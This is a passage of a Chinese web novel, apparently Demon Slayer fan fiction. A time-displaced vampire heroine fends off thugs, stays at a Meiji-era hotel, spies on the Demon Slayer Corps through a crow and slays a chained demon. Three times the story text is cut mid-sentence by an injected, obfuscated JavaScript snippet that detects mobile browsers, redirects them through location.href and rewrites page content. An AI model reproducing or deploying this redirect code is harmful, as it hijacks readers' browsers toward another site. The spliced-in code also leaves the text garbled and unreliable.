玖兰绫夏拎着手提箱,往路口走去,打算叫辆人力车去旅店住下。 只是刚走出去没多远,她就察觉到背后多了几道视线。 用念识扫过去,她看到了身后跟踪的三人。 他们穿着皱巴巴的棉衣,头发油腻,眼神一直盯着她手上的皮箱。 这个时代管这种人叫无赖汉,没有正当职业,常年混迹在繁华街区的阴暗角落,专挑独行的路人下手。 抢钱,抢东西,遇到年轻女人就抢人。 7.三井家 玖兰绫夏没有回头,继续往前走。 前面就是街口,三人忽然加快了脚步,从后面包抄上来。 “小姐,这么晚了还一个人啊?” 一个无赖汉手里亮出短刀,挡在了她面前:“跟我们走一趟。” 另外两个人挡在她身后堵住退路。 玖兰绫夏停下:“要是不走呢?” 无赖汉把刀往前比了比,脸上挤出凶相:“不走就别怪我们动粗了,这么漂亮的脸蛋,划上一道就毁了吧?” 停留在脸上的黏腻视线让玖兰绫夏皱眉。 她垂在身侧的那只手,指甲开始变长。 对付恶鬼她不会手软,对付恶人自然也一样。 缴了他们的刀,挑断手筋脚筋,丢到交番门口——这样的教训应该够他们记一辈子了吧? 还没等玖兰绫夏动手,一阵急促的脚步声从街口传来。 两个穿着黑色制服的男人冲过来,三两下就把那几个地痞按倒在地。 无赖汉手里的短刀哐一声掉在地上,被其中一人一脚踢开。 “啊!疼疼疼!松手!” “你们是谁!知道老子是谁吗?!” 玖兰绫夏的视线越过几个在地上挣扎的家伙,望向斜对面。 那里不知道什么时候停了一辆汽车。 1908年问世的世界第一款量产汽车,福特U型,黑色车身,方正的引擎盖,在现代只存在于博物馆里。 而在这个年代的日本,这种车全国也不超过五十辆。绝大多数都是供给皇室、顶级华族和几大财阀使用,普通富豪想买都买不到。 车门开了。 一个男人从后座下来,短发,黑色西装,外面套着一件藏青色的羽织。 那两个制伏地痞的保镖,显然是他的人。 他朝这边走过来,目光在玖兰绫夏那条被割破了一道口子的毛绒披肩上停留了一瞬,脸上没有露出任何异样的神色。 走到近前,他礼貌地询问:“小姐无恙否?” 玖兰绫夏也打量了他一眼。 看起来二十多岁,眉眼干净,身上有点那种留学归来的人特有的气质。 见过世面,但不张扬。 她点点头:“多谢帮忙,我没事。” “那就好。”男人笑了笑,“我只是路见不平,小姐不必客气。” 他转头看了眼被按在地上的三人:“我已经让人去找警察了,很快就会有人来处理,小姐不用担心后续的事情。” 巡警很快到达,保镖同他们交涉了几句,警察连连点头,麻利地把那三个无赖从地上拽起来押走了。 从头到尾没有把玖兰绫夏牵扯进去。 她看着这一幕,心里对这人有了几分好印象。会办事,有分寸,不给人添麻烦。 “在下三井清彦,不知小姐怎么称呼?” “玖兰绫夏。” “这么晚了,绫夏小姐是要去往何处?” “我正要找家旅店落脚。” 三井清彦了然地点点头:“这一带我很熟,前面有家洋风酒店,环境不错,安全性也好,很适合绫夏小姐落脚。如果不嫌弃,我可以送绫夏小姐一程。” 他的语气没有半点轻浮,似乎只是单纯顺路帮忙的样子。 玖兰绫夏也就没有客气:“那就麻烦清彦君了。” 男人微笑着侧身做了个请的手势。 守在汽车旁的司机主动上前,接过她手里的皮箱,三井清彦还亲自替她拉开后座的车门。 车内是深棕色的真皮座椅,空间宽敞。待她坐好后,三井清彦从另一边上车,在她旁边坐下。 前排坐着司机和刚才动手的其中一个保镖,另一个保镖和警察去交番做登记了。 汽车在这个年代是最快、最奢华的私人交通工具。三井这个姓氏,玖兰绫夏在现代也有所耳闻。 三井财阀掌握着日本三大银行之一,产业遍布各行各业。不过她对商业上的事情向来不太关心,加上三井家和血族毫无瓜葛,所以更多的也就不清楚了。 三井清彦的余光始终留意着身侧这个年轻少女,从上车时的姿势能看出来她不是第一次坐汽车,落座后整理裙摆的姿态也很放松。 这位绫夏小姐的出身应当是非富即贵。 可她为什么会一个人出现在这种地方? 没有随从、保镖,行李只有一只手提箱,披肩上还有一道奇怪的破损。 三井清彦斟酌片刻,开口时语气很委婉:“绫夏小姐,恕我冒昧,你是不是遇到了什么难处?” 玖兰绫夏淡淡说:“没有难处,谢谢关心。” 这是婉拒试探的意思。 三井清彦没有再追问,女孩子独身在外有警惕心,不愿意透露身份来历,他是能理解的。 他不再主动攀谈,车厢里安静下来。 过了一会儿,玖兰绫夏忽然开口:“清彦君这么晚出门,是有事在身?” 三井清彦笑了笑:“刚从一个应酬上出来,父亲让我去见了几个合作伙伴,聊得久了些。” 玖兰绫夏“嗯”了一声。 三井清彦等了几秒,见她没有继续话题的意思,也就没再多说。 绫夏小姐对他的事情好像并不感兴趣,问那一句,大概只是出于基本礼貌。 车子在一栋五层高的洋风酒店门口停下,穿着制服的门僮迎上来拉开后座车门:“欢迎光临。” 玖兰绫夏下了车,另一个侍者已经从司机手上接过她的行李,恭敬地站在一旁等待。 三井清彦很是客气地下车与她告别:“绫夏小姐早点休息。” 玖兰绫夏点点头:“再会。” 她没有多说什么,转身朝酒店走去。身后传来车门关上的响动,汽车渐渐远去。 这个男人从出现到离开,每一句话都很有分寸。他什么都没说,但那种恰到好处的周到态度,都在表明他对她有兴趣。 不过玖兰绫夏没有太在意。 这种程度的示好,还不值得她放在心上。 酒店大堂的挑高有两层,中间悬挂着水晶吊灯。地面上铺着地毯,几乎听不到脚步声。前台是深色实木打造的柜台,后面站着两个穿着西装的职员。 “欢迎光临,请问小姐需要什么帮助?” 玖兰绫夏:“带我看一下房间。” “好的。”职员从柜台后走出来,做了个请的手势,“我带您上楼参观,请和我来。” 玖兰绫夏看过几个房间后选中了五楼的高层套房。 这里进门是一个不小的门厅,穿过门厅是宽敞的起居室,里面摆着天鹅绒沙发、雕花茶几、书桌和衣柜。右手边有独立的西式浴室,布置了白瓷浴缸、抽水马桶、大理石洗手台。 在这个年代,这已经是顶配了。 玖兰绫夏庆幸自己来的是明治末期,要是再早几年,恐怕连抽水马桶都用不上。 再往里走,才是卧室。 一张宽大的西式床铺铺着蓬松的鹅绒被,床头柜上摆着一盏带着流苏罩子的台灯。窗帘是厚重的深色绒布,拉上就能把光线完全挡住。 一晚二十日元的价格,不是普通人能承受的。玖兰绫夏却是直接订了三个月,共 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17422014|200765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花费一千八百日元。 酒店还为长期住客提供了专属管家的服务,职员收钱离开后没多久,敲门声响起,进来一个四十几岁的中年男人:“小姐您好,我是您的专属管家,敝姓田中。接下来由我负责为您服务,您有任何需要,无论何时,都可以吩咐我。” 玖兰绫夏:“我想泡个澡,帮我放好水。” “好的。” 过了一会儿,田中管家:“小姐,水放好了。浴衣和毛巾都在浴室里,您还有什么吩咐吗?” “暂时没有。”玖兰绫夏转过身,“对了,我的作息和普通人不太一样。没有通知的话,你不要随意进房间。具体的清洁整理安排,明天我再和你沟通。” 田中管家恭敬地点头:“明白了,小姐。那您早点休息,我先退下了。” 关上浴室门,玖兰绫夏脱掉身上那件穿了好几天的洋裙,解开内衣,赤脚走进内间。 白瓷浴缸里蒸汽袅袅升起,她试了试水温,刚好。 泡进热水里的时候,她长长地舒了一口气。 从掉进这个时代开始,她就没有好好洗过一次澡。在山林里那几天只能忍着,到了村子里也只是简单擦了擦脸。 现在终于能把自己从头到脚洗干净了。 热水漫过肩膀,她靠在浴缸边缘,闭上眼睛,任由热气把自己包裹。 …… 洗完澡出来,她换上酒店提供的浴衣。擦干头发,然后躺进宽大的鹅绒床里。 被子软得让人深陷进去,玖兰绫夏翻了个身,闭上眼睛。 这一觉,直接睡到了第二天下午。 血族的作息本来就和普通人不太一样,凌晨三四点睡,下午一两点起,睡够八到十个小时,对她来说是正常作息。 有些年纪大的血族睡得更久,一睡就是几天甚至几个月。如果受了重伤或者力量受损,睡上几年、几十年也不是什么稀奇事。 玖兰绫夏打了个呵欠,抱着被子靠在床头。她没有着急起床,而切换视角,开始查看乌鸦那边的记忆。 …… 昨天下午,不死川实弥准备前往鬼杀队总部。 乌鸦一路跟着他。 鬼杀队总部位于东京郊外的深山之中,四周被复杂的山势和茂密森林包围着,普通人很难找到这里。 就算是鬼杀队的成员,也只有核心的柱和隐能知道上山的路线。其他队员如果被主公召见,需要蒙上双眼,由隐队员背着上山。 这座山上也种了紫藤花,盘虬的藤蔓随处可见。这种花含有特殊毒素,能破坏鬼的细胞结构,对鬼有天然的防范效果。 但玖兰绫夏的乌鸦穿行其间没有任何不适的感觉。 那些藤蔓在她眼里就是普通的植物,闻不到什么怪味,也察觉不到什么毒素。 不死川实弥疾行在山道上,爽籁飞在他前面,时不时叫一声“小心脚下”。 赶到总部的时候,已经接近夜里零点。 不死川实弥虽然很想尽快把玖兰绫夏的事情上报,却也不希望打扰到主公的休息时间。 他知道主公身负重症,初次见面的时候就已经双目失明,需要靠人搀扶行动。 寥寥几次见面,他的状态看起来更是一次比一次差。 不死川实弥在门口询问值守的隐队员:“这么晚了主公大人应该已经休息了吧?” 那个隐队员却摇了摇头:“还没有,风柱大人。主公大人在等您。” 不死川实弥惊讶:“主公大人知道我要来?” 隐成员没有解释,只是侧身做了个请的手势:“请您随我来。” 8.鬼杀队 玖兰绫夏的乌鸦借着夜色的掩护,飞过院墙。 鬼杀队总部是日式屋舍,直通主屋的道路两旁点着石灯笼。前庭有隐队员值守,乌鸦从他们头顶掠过,那些人毫无察觉。 前方的主屋门半开着,乌鸦落在大广间外的房梁上,找了个能看清内部的角落,安静地蹲下来。 屋内灯火通明,正对门口的座敷上,坐着一个男人。 他穿着和服,肩上盖着厚厚的棉袄,周围放着两个炭火盆,像是很怕冷的样子。 他的眼睛半垂着,瞳孔里没有焦点。额头上方,靠近发际线的位置,皮肤上有点异样的紫红色,像是某种病变的痕迹。 他旁边坐着的女人穿着素雅的和服,一手扶着他的手臂,让他能稍微靠在她身上。 男人低头,用手掩着嘴巴,轻轻咳了几声。 玖兰绫夏微微眯起眼。 离得近了,她能嗅到这个男人身上不健康的血液的气味。 这就是鬼杀队的总负责人,产屋敷耀哉。 即便病弱瘦削的样子,也能看出那种长期居于高位者才有的气度。 隐队员在门外朝内行了个片膝礼:“主公大人,风柱大人已到。” 产屋敷耀哉:“请进。” 不死川实弥在他面前跪坐下来,规规矩矩地行了一礼。 “主公大人,抱歉,深夜打扰。” 玖兰绫夏看到这个男人跪坐在那里姿态恭敬的样子,忍不住想,原来这个暴躁的家伙也会好好说话啊。 不过从记忆里她看到,不死川实弥一开始的态度也不是这样的。 一年前他第一次见到这位鬼杀队的主公,不仅毫无敬意,还当众怒斥他“只会躲在安全的幕后,把剑士当弃子”。 产屋敷耀哉当时的反应是——没有任何怒意,反而认真听完他的指责,然后对他道歉,说一切都是自己的过错,是他没能保护好队员。 总之最后,不死川实弥对他由衷地尊敬了起来。 “无妨。” 产屋敷耀哉虽然看不见,却能通过听声辨位,朝向不死川实弥的方向微笑:“我总觉得今晚有人要来与我见面,原来是实弥君。” 旁边的产屋敷天音,目光落在不死川实弥脸上的时候,惊讶了一下。 一眼看到他光洁的脸,的确让人感到惊讶,只是他深夜前来明显有重要的事情汇报,还是先等他汇报完再询问吧。 产屋敷耀哉能感觉到妻子的反应,实弥君身上一定发生了什么不寻常的事。 没有过多寒暄,不死川实弥开始汇报。 从接到情报追查鬼的踪迹开始,到那个山村里的血腥场面,到那只被肢解的鬼,到他挥刀斩向那个金发少女……他把整件事一口气倒出来。 “她自称是血族,但她身上有明显的鬼的特征。眼睛会变红,有尖牙,指甲能变得像刀刃一样锋利。” “她的力量很强,我完全不是对手。她击败了我,还吸了我的血。” “我因为重伤加失血过多,当时就……她用了……某种方式,把我身上所有的伤都治好了。” 讲到治疗的时候,不死川实弥的声音忽然变得有点含糊。 产屋敷耀哉提出疑问:“某种治疗方式是指?” 不死川实弥的表情僵住。 他张了张嘴,又闭上。再张开,声音更含糊了:“就是……那样……” 他说不下去了。 产屋敷天音看着他逐渐泛红的脸,忍不住问:“所以,不死川先生的疤痕也是在那个时候去掉的吗?” 不死川实弥咬牙:“啊,是的。” 产屋敷耀哉视物不清,但直觉告诉他,实弥君气愤的语气里还夹杂着某种羞愤的意味。 玖兰绫夏饶有兴致地看着他。 不死川实弥的脸颊上浮起一层红晕,没有了那些疤痕的遮挡,有一点变化都藏不住。 其实治愈之吻不是非要亲嘴的,亲哪里都可以。 至于为什么她选择了亲嘴,只能说是个人兴趣罢了。 亲伤口的话,伤口上都是血,太香了,亲上去反而想舔。 亲手背的话,像是在给人行吻手礼,通常可是只有别人对她行礼的份。 亲其他地方都像是在为了治疗而服务于他人,只有亲嘴反而更像是在掠夺。 要献上治愈之吻的她,反而掠夺了对方的吻——她是这样的想法。 当然,如果是未成年人或者有妇之夫,亲嘴就不合适了。 额头、脸颊、头发都是可选之处。 “咳。”不死川实弥清了清嗓子,继续说,“之后她就抢走了我的日轮刀,然后离开了,不知道去了哪里。” “隐后来询问过现场的三个村民,其中一个叫堀北松太郎的少年说,她自称玖兰绫夏,和商队走散,借宿在他家,想要去城镇。” 产屋敷耀哉:“玖兰……”没听过的姓氏。 “应该是假名吧。”不死川实弥说,“商队的事也是随口扯的谎,隐打听过了,最近经过此处的商队里根本没人丢失。那个少年被她迷惑,还认为她不像是会伤人的恶鬼。” “我醒来后仔细回想,她身上属于鬼的气息非常淡,几乎感受不到。但她的力量很强,给我一种很危险的感觉。” “还有一点很麻烦,她眼睛里的红色能消退,尖牙也能收起来。如果她有心隐藏,外表看起来就和普通人没有区别。那样的话,会比一般的鬼都难找。” “主公大人,我的意思是,先把她的样貌画下来,安排人去找她的行踪。找到之后把她抓起来,用她的治愈能力来治疗您的病症。等您痊愈之后,再杀了她。” 听到不死川实弥充满杀意的话,产屋敷耀哉思考片刻后,只是温和地说:“实弥君,辛苦了,今晚先回去休息吧。明天让香奈惠小姐帮你全面检查一下身体,看看有没有什么不妥。” “至于画像的事,明天午后你再过来,我会吩咐画师准备好。” 对于是否要利用玖兰绫夏的治愈能力、以及是否要杀了她这件事情,他没有明确表态。 “是,主公大人。” 不死川实弥恭敬地行了一礼,转身离开。 门轻轻拉上,炭火盆里的炭噼啪响了一声,火光跳动。 产屋敷耀哉掩着嘴咳嗽了几声,天音连忙伸手轻抚他的背,等他咳完了,才递过旁边的温水。 他抿了一口,然后抬起头,那双失焦的眼睛对着妻子:“天音,你觉得她会是我们的敌人吗?” “她吸了实弥君的血,但又治好了他,也没有伤及村民。从行为上看,很难确定是不是恶鬼。” “是啊。”产屋敷耀哉点头,“而且实弥君说,她身上几乎没有鬼的气息。还有那种治愈伤病的能力,也很特殊。” 天音的目光落在丈夫的脸上,想起今天早上他咳血的样子,不由握紧了他的手,期盼地说:“说不定,她能治好你的病。” 产屋敷耀哉侧过脸,嘴角浮起淡淡的笑:“你知道的,我这不是普通的病症,而是诅咒。” 产屋敷家族与鬼舞辻无惨有着血缘关系,自千年前无惨化为鬼以来,整个家族就背负了这份诅咒。生下的孩子全都体弱多病,没有一个人能活过三十岁。 这是刻在血脉里的诅咒,对于治愈身体这件事,他并不抱希望。 产屋敷耀哉握了握妻子的手:“等画像出来,知道她的样貌,或许我能感知到更多关于她的事情。” 产屋敷家族世代天生拥有预知未来的能力,历代主公便是靠着这份能力,趋福避祸,带领鬼杀队走到今天。 他想知道,那个自称玖兰绫夏的血族,会给这个世界带来什么? 乌鸦没有跟着不死川实弥离开,而是留在了鬼杀队总部。 原因主要是那家伙实在太敏锐了。 从昨晚开始,一路上他朝天空瞥了好几眼,有两次还停下来抬头盯着她躲藏的树枝看。 要不是夜色足够黑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17429090|200765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可能早就被他发现了。 再跟着他,迟早会被抓包的。 留在鬼杀队总部,倒也不是一定要监视着谁,玖兰绫夏只是觉得可以适当了解一下这个组织的情况。 毕竟,她不知道还要在这个时代待多久。多掌握一些信息,没有坏处。 查看完乌鸦昨晚看到的事情后,玖兰绫夏就起床了。 现在是下午两点左右。 该出门办事了。 她按了唤铃,叫来田中管家把她昨晚换下的洋服和鞋子送去清洗。还给了他一百元,让他去洋服店代买一套洋服和鞋子送来。 半个小时后,玖兰绫夏换上了新买的洋服。 田中管家的眼光不错,选的是一件深红色的长裙,有蕾丝装饰,配一件短外套,一双同色系的矮跟皮鞋。 出门。 今天要办的事情还挺多,玖兰绫夏先是逛了几家洋服店,挑选了几套换洗衣服。 路过和服店的时候,她买了一件深紫色的和服。 偶尔穿一下应该也不错。 在洋品店,她挑了一把素面洋伞。太阳大的时候,可以用来防晒。 买完这些,她找到一家电器修理店。 她需要给自己的手机充电,酒店房间墙壁上有接线端子,但她需要找人手工做一个充电线。 仪器用的细导线这个时代的匠人是能做的,只是她要的充电接口太特殊,匠人最多只能做成两片可开合的金属夹片,连接到仪器内部的触点。 玖兰绫夏花了5日元,等待一个小时就可以取货。 等待期间,她转去了精肉店,和老板说自己养了两只西洋犬,需要购买一些新鲜的牛血。 在东京这种大城市,西洋犬是富裕阶层常见的宠物。这种犬如果要精细化喂养的话,鲜牛血是营养品之一。 用这个做借口,她在精肉店买了400ml新鲜牛血。离开店铺后,在无人注意的角落,玖兰绫夏直接把血吸收掉。 回到修理店,她取了定制电线。 天色已晚,玖兰绫夏来到一家西餐厅,点了五分熟的西冷牛排,配红酒。 牛排端上来的时候还滋滋作响,外面微焦,里面是带着血丝的嫩。 味道不错。 血族除了血液,也能品尝普通食物的味道。虽然这些食物不能提供能量,但满足口舌之欲还是可以的。 吃完牛排,她慢悠悠地品着红酒,把视角切换到乌鸦那边。 按照主公大人的要求,不死川实弥今天晨起后就去蝶屋找蝴蝶香奈惠做身体检查。 从住处到蝶屋这一段路走得他浑身不自在。 一路上遇见的所有人,看到他之后都是同一个反应。 愣住,盯着他的脸看上几秒,然后眼睛瞪大,嘴巴张开,一副见鬼了的表情。 “那、那位是风柱大人吗?” “骗人的吧?风柱大人不是满脸……” “嘘!小声点!他要瞪过来了!” 不死川实弥的太阳穴突突直跳。 他咬着牙,加快脚步,冲进蝶屋。 但蝶屋里也没让他消停,刚在检查室的病床上坐下,门口就已经挤满了人。 她们一个个伸着脑袋往里看,还自以为很小声地交头接耳。 “真的是风柱大人诶……” “他的疤怎么没了?完全像换了个人!” “你仔细看,风柱大人五官其实很端正的,以前那些疤太吓人了,根本不敢细看。” “现在看起来好帅气啊。” “而且你看他的队服,前襟敞开的那个地方……那个胸肌……” “还有腹肌……” “别说了别说了,我脸都红了!” 不死川实弥额头蹦出青筋,拳头攥得咯咯响。 香奈惠正在给他检查,感觉到他手臂肌肉绷得太紧,温柔地说:“不死川先生,请放松一点。” “我很放松。”他咬着牙说。 9.斩鬼 香奈惠没有受到那些偷看的医师小姐们影响,专心给他做完了全套检查。 “身体没有异常,之前那些旧伤也已经好了。只是失血过多还需要时间恢复,这几天多休息,多吃些补血的食物。” 不死川实弥点点头,正要起身离开,香奈惠又柔柔地开口:“不死川先生,我实在很好奇,你的疤到底是怎么去掉的?” 门口那些人也立刻竖起耳朵。 不死川实弥强作镇定地说:“只是遇到了一点意外而已。” 说完,他站起身,离开的脚步比来的时候更匆忙。 有点落荒而逃的意味。 等他走远了,门口那些医师小姐们又凑在一起叽叽喳喳地讨论起来。 “风柱大人刚才脸红了诶!” “他害羞的样子好可爱啊!” “到底是谁帮他去掉的疤?那个人好厉害!” …… 到了和主公大人约定的时间,不死川实弥再次来到总部。 大广间里坐着一个穿着隐制服的年轻人,面前铺着纸,手里握着炭笔,旁边还摆着一盒西洋水彩。 他是隐特别搜查班的画师,擅长速写,经常根据队员的描述绘制恶鬼的图像,用于追查。 午后的光线正好,产屋敷耀哉也在妻子的陪同下,坐在屋檐下晒太阳。 互相打过招呼之后,画师拿起炭笔:“风柱大人,请您描述那个人的样貌,越详细越好。我们先从体型开始?” 不死川实弥点头,说:“女性,身长大约四尺九寸(165厘米),身材偏瘦。” 画师:“气质呢?” 他皱起眉头,像是在努力找词:“我说不上来,大概是那种一看就不是普通人的感觉。” 画师:“衣着呢?有什么特别的饰物?” “黑色的洋装,裙子只到膝盖。棕色毛皮披肩,侧面有一道口子是被我砍的,没注意有什么特别的饰物。” “年龄看起来多大?” “二十岁上下吧。” 画师一边问一边画,炭笔在纸上沙沙地动。 “头发是很亮的那种金色,披发,长度到腰,前发齐眉。” “眼睛很大,眼尾有点往上挑,瞳孔也是金色的,但有时候会变成红色。” 被问到“眼神是什么样的”,不死川实弥又卡住了。 想起那双眼睛看着他的样子——好奇,不满,到后面还有戏谑,他抿了抿唇:“不知道。” 画师继续往下问:“脸型?” “寻常的鹅蛋脸,下巴是尖的。” “肤色?” “白得有点不像活人。” “眉毛?” “细的。” “鼻子?” “高的。” “嘴唇?” 不死川实弥忽然安静。 画师等了片刻,抬起头看他。 大广间里安静了好一会儿,他才继续说道:“嘴唇……是那种……薄的……” 他手里的茶杯,表面水波震荡着,像是被捏得过于紧了。 画师小心翼翼地看了他一眼,又继续问:“脸上有没有痣?或者别的什么特征?” “没注意。” 炭笔在纸上慢慢勾勒出一个女性的样貌,画师又用水彩笔涂上颜色。 最后,他把画举起来:“风柱大人,您看像吗?” 不死川盯着画:“大概有七八成像吧。” 产屋敷天音接过那幅画,她听队士们说过,鬼都是些奇形怪状的样貌。但这幅画上的女性,分明就是一个普通的人类女孩。 硬要说有什么特别的话,就是比普通女孩更美一些。 她把画折好,交给了负责探查的隐队员。 不死川抿了抿唇,提醒道:“主公大人,如果找到她的行踪,至少要派两名以上的柱去抓捕。她的实力很强,如果只派一个人去,很可能反被她制住。” 他语气认真地又补了一句:“我比较熟悉她的进攻方式,到时候我也要参加。” 产屋敷耀哉:“我知道了,实弥君,先找到她再说吧。” 殊不知,这一切安排调度,都被玖兰绫夏的乌鸦看在眼里。 …… 一连几天,玖兰绫夏都是中午起床,下午出门,在东京附近闲逛到深夜才回去休息。 她的念识一直保持着扩散状态,覆盖周围一千米的范围。只要这个范围内出现血族的气息,她立刻就能察觉。 但很遗憾,她什么都没发现。 这个时期的玖兰家祖先应该还在欧洲的某个海岛上隐居,不好找。但一条家在日本经营了上千年,怎么可能一点痕迹都没有? 她试着释放出自身纯血种的气息,也还是没有回应。 就好像这个时代,根本没有血族存在一样。 她觉得有点奇怪。 一个月后。 某天夜里,玖兰绫夏照常在外面探查。 这个时间点行人已经很少了,在经过一条巷子的时候,她停下了脚步。 有鬼的气息,从前方某个方向飘过来。 她顺着气息找过去,最后停在一座宅邸门口。 宅邸门口挂着“石川”的木牌,大门关着,后院隐约透出一点灯光。 鬼的气息就是从里面传来的。 玖兰绫夏站在门口,忽然想起自己没带日轮刀。 酒店离这里不算太远,来回也就一刻钟。 再次回到宅邸门口时,她手里提着那把刀。 越过院墙,一路穿行到后院。角落里有一扇通往地下的铁门。破坏上面的锁扣后,玖兰绫夏顺着台阶走下去。 地下室潮湿阴暗,弥漫着一股霉味。 铁链碰撞的声音传来,她看过去。墙角缩着一个身影,浑身被粗重的铁链绑着,缠了一圈又一圈,末端固定在墙上的铁环里。 那只鬼的嘴里塞着拳头大的铁球,用布条勒紧,固定在脑后,撑得嘴巴都变了形。 尖牙抵着铁球,口水顺着下巴流下来,滴在脏污的衣襟上,洇湿了一大片。 听到脚步声,那只鬼抬起头。 双眼在看到玖兰绫夏的时候,像是饿了很久的野兽突然看到了食物,口水流得更凶了。 他的喉咙里发出嘶哑的声音,整个身体挣扎起来,弄得身上的铁链哗啦啦地响。 玖兰绫夏站在原地,抽出了手里的日轮刀。 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17435348|200765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是她第一次真正使用日轮刀。 出鞘后,原本绿色锯齿纹的刀身开始变色。几秒后,整把刀像被血浸透一样,变成了暗红色。 上面的“悪鬼滅殺”四字看起来像是自带杀气。 玖兰绫夏举起刀,对准鬼的脖子…… “住手!” 突然闯入的男人从楼梯上冲下来,张开双臂挡在她面前。 他还穿着睡衣,头发乱糟糟的,额头上全是汗。 “别伤害他!他是我弟弟!”男人喊道。 玖兰绫夏:“他已经不是你弟弟了,他变成了恶鬼。” “不是的!他只是病了!他会好的!” 玖兰绫夏没有收刀,只是冷静和他解释:“他看你的眼神,你难道没有注意到吗?恶鬼以人类为食,他已经认不出你了。” 男人的嘴唇哆嗦了一下:“他是我弟弟啊……我答应过父母要照顾好他的……” 话没说完,身后突然传来一声巨响。 铁链崩断了,被绑着的鬼挣断了束缚,朝着最近的血肉扑了过来。 男人还没反应过来,手臂上就传来剧痛。鬼的尖牙刺进皮肉里,鲜血顿时涌了出来。 他愣在原地,任由弟弟咬着自己,一动不动。 那张曾经笑着喊他“哥哥”的脸,已经扭曲得完全不像人类了,他的眼睛里只有对血肉的渴望。 原来他的弟弟真的认不出他了。 原来他的弟弟真的死了。 他颤抖地拜托玖兰绫夏让他的弟弟安息。 日轮刀挥动,锋芒闪过,鬼的头颅被斩下,化作灰烬散落。 男人捂着手臂上的伤口,跪下来看着地上那堆灰烬:“为什么会变成这样?人为什么会变成这种东西?” 玖兰绫夏收刀入鞘,想了想,说:“只有鬼王的血能把人变成鬼,你弟弟应该是在外面遇到了什么情况,被注入了鬼血。” “鬼王……” 男人名叫石川一郎,半年前他的父母去世,只剩他和弟弟相依为命。 半个月前,弟弟一夜未归,第二天早上被人发现昏倒在巷子里。 石川一郎把弟弟带回家,以为他只是遇到了意外,结果当天晚上,他就发狂了。 “我把他锁在地下室,每天给他送饭送水,想尽办法想救他……我不知道他变成了恶鬼,我以为……” 石川一郎慢慢抬起头:“你说的那个鬼王,我要杀了他,为弟弟报仇。” 玖兰绫夏打量着他,瘦削的身材,身上没有练过武的痕迹。苍白的脸色,像是跑几步都会喘不过气来。 他要是去找鬼舞辻无惨,应当活不过三秒。 “你只是个普通人,身体素质也一般,去了就是送死。” 留下这句忠告她就离开了。 回住所的路上,玖兰绫夏不免在想,鬼舞辻无惨那个男人……不,那个生物,到底想做什么? 制造这么多吃人鬼,放任它们到处流散,对他有什么好处? 难道只是某种乐趣? 鬼王会是那么无聊的家伙吗? 玖兰绫夏摇了摇头,不去深究。 她只是个不小心掉回这个时代的血族,她不属于这里。 10.邀约 鬼杀队总部。 玖兰绫夏的乌鸦在这里也待了一个多月,已经大致摸清了这附近的情况。 这座山头除了鬼杀队的总部,还藏着一座幽静的宅邸,产屋敷一家人就住在那里面。 山下邻近镇子的地方还有一处蝶屋,那是花柱蝴蝶香奈惠负责的地方。平常能看到进进出出的都是伤员,有的拄着拐杖,有的包着绷带,偶尔还能听到里面传出来的惨叫声。 玖兰绫夏主要待在总部这边,这里是所有消息的汇聚点。主公的传令从这里发出,各处的汇报往这里送来。 她白天就蹲在树枝上或者屋檐的阴影里,闭着眼睛打盹,听到动静就竖起耳朵听几句。 偶尔会有隐队员从她旁边经过,但没人会抬头看一只普通的乌鸦。 有一次她飞进房间里查探,被一个进来打扫的隐队员发现了。那人挥着手驱赶,她假装害怕地扑棱两下翅膀,从窗户飞了出去。 那人就没再管了。 天气已经开始转暖,太阳晒在身上感觉热烘烘的。玖兰绫夏飞到院子里一棵老树的枝桠上,躲避日光。 面前正对着一个窗口,产屋敷耀哉伏在案几上,手里拿着笔,像是在回信。 刚看了几行字,头顶忽然传来一个声音。 “你是从哪里来的乌鸦?” 嗓音浑厚,低沉,咬字清晰,语调平稳,像是那种经常在人前讲话的声音。 玖兰绫夏用余光打量头顶的方向,更高一点的枝桠上站着一只鎹鸦。 它的羽毛漆黑油亮,脖子上系着紫围巾,脚上绑着一个小竹筒,看起来像是用来送信的。 鎹鸦两只眼睛炯炯有神,居高临下地注视着她。 玖兰绫夏没有动,继续蹲在树枝上,假装什么都没听见。 毕竟,普通的乌鸦是不会回话的。 见她不吭声,那只鎹鸦煽动翅膀,落在她旁边的树枝上。 它侧过头,用那双黑亮的眼睛盯着她:“能听到吾辈的问话吗?” 玖兰绫夏依然没有反应,眼睛半睁半闭,一副懒洋洋的样子。 鎹鸦:“你是野生的乌鸦吗?” 没反应。 鎹鸦:“还是从谁家里跑出来的?” 还是没反应。 鎹鸦:“吾辈好像见过你几次。你没有搭窝,也没有同伴,一直在这附近逗留是有什么事吗?” 